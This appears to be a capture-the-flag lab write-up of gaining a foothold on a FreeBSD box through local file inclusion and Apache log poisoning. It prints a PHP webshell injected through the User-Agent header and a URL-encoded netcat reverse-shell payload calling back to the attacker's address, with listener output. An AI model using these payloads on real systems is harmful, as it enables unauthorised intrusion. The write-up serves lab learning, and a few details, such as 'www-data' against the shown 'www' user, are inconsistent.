Log Poisoning
lfi can leads to many exploitation techniques to gain a foothold on a target system.
since the web server is using apache, i will be conducting log poisoning
The target system is FreeBSD.
a quick google search reveals that the Apache log files for FreeBSD is located at the following by default:
/var/log/httpd-access.log
for access/var/log/httpd-error.log
for error
I can check this.
The access log.
The error log
It’s confirmed
Injecting Poison
┌──(kali㉿kali)-[~/archive/htb/labs/poison]
└─$ curl http://$IP/ -A '<?php system($_GET['cmd']); ?>'
I will just put a PHP webshell into the User-Agent
header
It would look like this on Burp Suite
Because of LFI, that PHP webshell will be executed
As shown above, I have code execution
All I need to do now, is calling a reverse shell
Exploitation
┌──(kali㉿kali)-[~/archive/htb/labs/poison]
└─$ curl 'http://10.10.10.84/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&cmd=view-source:http://10.10.10.84/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&cmd=mkfifo%20%2Ftmp%2Fbkjtjz%3B%20nc%2010.10.14.10%209999%200%3C%2Ftmp%2Fbkjtjz%20%7C%20%2Fbin%2Fsh%20%3E%2Ftmp%2Fbkjtjz%202%3E%261%3B%20rm%20%2Ftmp%2Fbkjtjz'
Sending the payload via curl
┌──(kali㉿kali)-[~/archive/htb/labs/poison]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.84] 52363
whoami
www
hostname
Poison
ifconfig
le0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
options=8<VLAN_MTU>
ether 00:50:56:b9:ae:36
hwaddr 00:50:56:b9:ae:36
inet 10.10.10.84 netmask 0xffffff00 broadcast 10.10.10.255
nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL>
media: Ethernet autoselect
status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384
options=600003<RXCSUM,TXCSUM,RXCSUM_IPV6,TXCSUM_IPV6>
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2
inet 127.0.0.1 netmask 0xff000000
nd6 options=21<PERFORMNUD,AUTO_LINKLOCAL>
groups: lo
Initial Foothold established to the target system as www-data
via log poisoning